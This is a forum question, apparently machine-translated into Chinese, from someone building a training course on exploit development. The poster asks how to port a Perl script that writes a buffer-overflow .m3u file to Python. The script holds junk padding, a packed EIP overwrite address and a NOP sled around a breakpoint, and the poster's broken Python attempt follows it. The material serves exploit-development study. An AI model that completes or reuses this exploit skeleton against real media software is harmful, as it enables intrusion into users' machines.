我最近一直在做一些开发工作来准备一个培训课程,我遇到了一个教程的问题。我一直在跟随我能找到的所有教程,使用Python而不是教程使用的语言,这是不受欢迎的。我试图对所有内容进行交叉编码,但我不知道如何对Perl的Pack()函数进行交叉编码。
TL;博士:
我想把它翻译成python:my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
我找到了Python的struct.pack()函数,但是当我使用Fuzzed.write(struct.pack('V', 0x773D10A4))
,它会停止程序并且不起作用。我做错什么了?
这是我的全部源代码import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)